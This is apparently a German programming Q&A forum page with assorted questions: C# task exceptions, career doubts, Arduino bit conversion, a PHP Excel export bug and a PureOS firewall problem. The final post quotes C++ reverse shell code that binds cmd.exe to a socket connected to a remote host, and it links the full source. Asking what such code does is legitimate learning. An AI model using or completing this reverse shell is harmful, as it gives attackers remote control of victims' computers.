Programmieren – die neusten Beiträge

C# Exception aus Fire and Forget Task behandeln?

Ich versuche mit Selenium eine Website zu überwachen und damit zu interagieren. Dafür gibt es eine Liste mit Dingen die überwacht werden sollen und eine Liste mit Observern die dafür zur Verfügung stehen. Bei dem überwachen können gelegentlich Fehler auftreten, z.B. wenn Chrome crashed. Dann soll alles neu gestartet werden. So sieht es aktuell aus:

        public async Task Observe(List<string> objectsToObserve, CancellationToken token)
        {
            Exception exception = null;
            var objectsQueue = new Queue<string>(objectsToObserve);
            var observerQueue = new Queue<Observer>(_observers);
            while (true)
            {
                while (!observerQueue.Any())
                {
                    await Task.Delay(10);
                }
                if (exception is not null)
                    throw exception ;
                if (token.IsCancellationRequested)
                    return;
                var objectToObserve = objectsQueue.Dequeue();
                var observer = observerQueue.Dequeue();
                _ = observer.Observe(objectToObserve).ContinueWith(x =>
                {
                    if (x.IsFaulted)
                        exception = x.Exception;
                    objectsQueue.Enqueue(objectToObserve);
                    observerQueue.Enqueue(observer);
                });
            }
        }  

Wenn dieser Task ne Exception wirft, wird neugestartet. Da das observen aber nicht awaitet wird, weil mehrere davon parallel laufen sollen, kann ich die Exception nicht richtig behandeln. Geht das irgendwie besser?

Computer, Schule, programmieren, C Sharp

Schlechtbezahlten Job behalten oder wechseln?

Ich hab ne HTL Ausbildung absolviert und war danach Entwickler im Backend-Bereich wo ich nach ca einem Jahr gehen musste da die Leistung nicht gepasst hat. Danach bin ich ins Frontend gewechselt bei einem anderen Unternehmen und dort war wiederum mir die Arbeit zu eintönig weil ich primär „nur“ mit Wordpress gearbeitet habe (war ne Web-Agentur wo meist mit Wordpress gearbeitet wird). Zwar war der Job nicht so schlecht für mich, aber auf Dauer gesehen eintönig. Mein Chef hat gemerkt, dass ich nicht so Mühe gegeben habe (vermutlich weil mir die Tätigkeiten zu eintönig waren und dementsprechend die Motivation nicht so oben war) und auch dort wurde das Dienstverhältnis beendet.

Danach hab ich das Wirtschaftsinformatik Studium begonnen und nun arbeite ich als Frontend-Entwickler bei einem anderen Unternehmen. Hier arbeite ich wieder mit Wordpress, bekomme aber deutlich weniger bezahlt, sogar weniger als ein typischer HTL-Absolvent. Ich bekomme so im Schnitt 2200-2300 brutto (Vollzeitbasis).
Da ich aber auch merke wie eintönig es ist den ganzen Tag nur Webseiten „entwickeln“ (also Wordpress und CSS halt, vllt hier und da mal Javascript), überlege ich freiwillig zu wechseln.
Da aber mein Lebenslauf schon zeigt, dass ich bei keinem der 3 Unternehmen länger als 1 1/2 Jahre geblieben bin, könnte dies einen schlechten Eindruck machen. Was würdet ihr machen?

Würdet ihr diesen Job mal für 1-2 Jahre runterbiegen und erst dann wechseln (und freiwillig aufs gute Geld verzichten und auch der Verzicht auf die Erweiterung der Programmierkenntnisse, außer CSS halt) oder jetzt schon schauen, dass man wo positioniert ist um dann schnell aufzusteigen, insbesondere später dann mit einem Wirtschaftsinformatik Studium Abschluss?

Schule, IT, programmieren, Karriere, Ausbildung und Studium, Beruf und Büro

Ausbildung zum Kaufmann für IT-Systemmanagement (schwer)?

Jo Leute, habe ein sehr großes Problem. Ich habe im Jahre 2020 meine Ausbildung zum Kaufmann für IT-Systemmanagement angefangen, ohne Vorkenntnisse in IT. Anfangs beim Arbeiten hat es mir persönlich noch Spaß gemacht, im Büro eingesetzt zu werden. Ich hatte guten Kontakt zu Kunden, Bestellungen ausgelöst, Liefertermine angefragt, Angebote verschickt usw. Also ein herkömmlicher Bürojob. Seitdem ich in der Schule bin werde ich tagtäglich mit Programmiersprachen vollgedrückt, anfangs kam ich so mit einer 4 durch. Aber jetzt im 2 Lehrjahr und dem Vorletzten Block bin ich am Verzweifeln, ich habe 4 Programmiersprachen und bin an einem Punkt angekommen, das ich müde geworden bin. Ich stehe in 2 der Fächer bei einer 5 und es macht mich sauer dass ich im Unternehmen kein Programmieren habe. Es macht einen Kaputt und ich weiß nicht mehr was ich tun soll, ich will gerne die Ausblidung beenden, aber fühle mich nutzlos… was kann ich am besten tun? Also lernen usw. Bringt nichts, ich verstehe die Logik dahinter nicht und verstehe auch nicht wieso ich diese Fächer überhaupt habe obwohl ich das im Unternehmen nicht anwende. 2 der Programmierfächer sind Wahlfächer, zählen die auch als Richtige Note? Und ab wann bekommt man keinen Abschluss? Es kommt so vor das ich mich für ist net interessiere, es interessiert mich. Aber das Programmieren macht mich einfach kaputt….

Schule, IT, programmieren, Ausbildung, Ausbildung und Studium, Beruf und Büro

Arduino integer mit binärem Wert in decimal umwandeln?

// Probleme wurden gelöst. Teil des Problems war dass ich den Chip außversehen nach dem umprogrammieren eine Reihe zu weit nach Oben gemacht habe... Leichtsinnsfehler... :)

Hallo. Bin gerade an einem Projekt bei dem ich LED's mit einem 8Bit shift register zum leuchten bringen will.

1 bedeutet leuchten und 0 bedeutet aus.

Jetzt will ich einen Wert wie "10000001" angeben können und die LED's werden direkt so eingeschalten wie es im int aussieht.

Gerade im Moment probiere ich es so zu lösen dass ich der ShiftOut Funktion den decimalen Wert gebe welche diese dann wieder in decimal umwandelt und raus schiebt:

  int bits = 10000001;

  digitalWrite(latchPin, LOW);
  //Binary to decimal Versuch
  int decimal =
  (((bits / 10000000U) % 10) * 128)
  + (((bits / 1000000U) % 10) * 64)
  + (((bits / 100000U) % 10) * 32)
  + (((bits / 10000U) % 10) * 16)
  + (((bits / 1000U) % 10) * 8)
  + (((bits / 100U) % 10) *4)
  + (((bits / 10U) % 10) *2)
  + ((bits / 1U) % 10);

  shiftOut(dataPin, clockPin, MSBFIRST, decimal);

  digitalWrite(latchPin, HIGH);

Ich bin mir sicher dass man das wesentlich effizienter und schlauer lösen kann. Unter anderem funktioniert mein Code nicht mal... wenn ich ihn laufen lasse sind die LED's volgendermaßen angeschaltet: "00010000"...

Würde mich über Hilfe freuen und danke schon mal im Vorraus.

Liebe Grüße, Leo

Bild zum Beitrag
Computer, Technik, Programm, programmieren, Arduino, Code, Informatik, Technologie, binär, Integer, Spiele und Gaming

PHP XLSX Writer überspringt erste Zeile - was tun?

Hey!

Ich habe gestern die Erweiterung PHP XLSX Writer gefunden und meinem System hinzugefügt. Ziel: Datenbank mit PHP (und mysqli) in ein Excel Dokument umwandeln. Irgendwie überspringt er die erste Zeile und spuckt mir im Dokument erst alles ab id=2 aus... Wisst ihr woran das liegt?

Danke schonmal für eure Antworten!

Hier noch der Quellcode von meiner export.php:

<?php
include "config.php";
include_once("../includes/excel/xlsxwriter.class.php");
//ini_set('display_errors', 0);
//ini_set('log_errors', 1);
//error_reporting(E_ALL & ~E_NOTICE);


    date_default_timezone_set('Europe/Berlin');
    $filename = "PZUS_" . date('Y-m-d') . ".xlsx";


    header('Content-disposition: attachment; filename="'.XLSXWriter::sanitize_filename($filename).'"');
    header("Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet");
    header('Content-Transfer-Encoding: binary');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');   
    $sql="SELECT * FROM tbl_contact";
    $result = $link->query($sql); 
    $row = $result->fetch_assoc(); 
    $header = array(
      'ID'=>'string',
      'Nachname'=>'string',
      'Vorname'=>'string',
      'Klasse'=>'string',
      'Bemerkung'=>'string',
      'Datum'=>'string',
      'Email'=>'string',
      'Adresse'=>'string',
      'Tel'=>'string',
    );
    $writer = new XLSXWriter();
    $writer->writeSheetHeader('PZUS-1', $header);
    $array = array();
    while ($row=$result->fetch_assoc())
    {
        $array[1] = $row['id'];
        $array[2] = $row['fldSurname'];
        $array[3] = $row['fldFirstname'];
        $array[4] = $row['fldClass'];
        //$array[4] = $row['fldCourse'];
        $array[5] = $row['fldDmg'];
        $array[6] = $row['fldDate'];
        $array[7] = $row['fldEmail'];
        $array[8] = $row['fldAdress'];
        $array[9] = $row['fldTel'];
        $writer->writeSheetRow('PZUS-1', $array);
    };


    //$writer->writeSheet($array,'Sheet1', $header);//or write the whole sheet in 1 call    


    $writer->writeToStdOut();
    //$writer->writeToFile('example.xlsx');
    //echo $writer->writeToString();
    exit(0);
Computer, Microsoft Excel, HTML, programmieren, Export, MySQL, PHP

warum deaktiviert sich die Firewall immer wieder in PureOS?

hallo

ich nutze immer wieder mal eine andere Distro eine Zeit lang, um versch. Linux Distros kennenzulernen.

Jetzt werd ich PureOS mal für 1-2 Monate nutzen. Das Problem ist, dass sich die Firewall ufw immer wieder nach einem Neustart deaktiviert bzw. beim Neustart ist sie dann abgeschaltet und ich muss sie neu starten.

Ich möchte die Firewall auf jeden Fall aktiviert haben, weil ich auch immer wieder in anderen Netzwerken unterwegs bin.

Das Problem ist, dass wenn die Firewall mal installiert ist, muss sie komischerweise auf PureOS aktiviert sein, weli man sonst nicht mehr ins Netz kommt(!). Dh wenn installiert und sie ist deaktiviert, kommt man nicht ins Netz. Das hatte ich auch noch nie!

Merkwürdig ist auch, dass wenn man das OS neu startet und ufw war vorher aktiv, dann hängtdas System beim neu booten längere Zeit und auch der Anmeldeprozess dauert lange, wenn man mal sein PW eingabl bis der Desktop kommt. Dh auch der Anmeldeprozess höngt über eine Minute.

Deinstalliere ich dann ufw wieder, hängt das System beim Booten nicht mehr.

Wie kann ich PureOS dazu bringen, die Firewall konstant aktiv zu lassen?

Hab versucht die Firewall sowohl über die Konsole zu aktivieren, und da wird gesagt beim nächsten Start sei sie dann auch aktiv, ist aber nicht der Fall.. als auch über das ZUsatztool gufw. Auch wenn ich über gufw sie aktiviere, ist sie beim nächsten System wieder deaktiviert.

Server, Linux, programmieren, Ubuntu, Linux-Server, Linux Mint, Serverprobleme, C (Programmiersprache), Debian

Was bedeutet dieser Code grob - Reverse Shell?

Tach, ich habe mir aus langeweile den Code einer Reverse Shell in c++ angesehen und ich frage mich was folgender Code bedeutet. Ich verstehe nur einzelne Teile und ich würde gerne eine grobe Erklärung bekommen, was der Code tut. (vollen Code auf https://github.com/dev-frog/C-Reverse-Shell/blob/master/re.cpp)

if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
	            closesocket(mySocket);
	            WSACleanup();
	            continue;
	        }
	        else {
	            char RecvData[DEFAULT_BUFLEN];
	            memset(RecvData, 0, sizeof(RecvData));
	            int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	            if (RecvCode <= 0) {
	                closesocket(mySocket);
	                WSACleanup();
	                continue;
	            }
	            else {
	                char Process[] = "cmd.exe";
	                STARTUPINFO sinfo;
	                PROCESS_INFORMATION pinfo;
	                memset(&sinfo, 0, sizeof(sinfo));
	                sinfo.cb = sizeof(sinfo);
	                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
	                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
	                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
	                WaitForSingleObject(pinfo.hProcess, INFINITE);
	                CloseHandle(pinfo.hProcess);
	                CloseHandle(pinfo.hThread);
	

	                memset(RecvData, 0, sizeof(RecvData));
	                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	                if (RecvCode <= 0) {
	                    closesocket(mySocket);
	                    WSACleanup();
	                    continue;
	                }
	                if (strcmp(RecvData, "exit\n") == 0) {
	                    exit(0);
	                }
	            }
Computer, IT, programmieren, Hacking, Informatik, Shell, C (Programmiersprache)

Meistgelesene Beiträge zum Thema Programmieren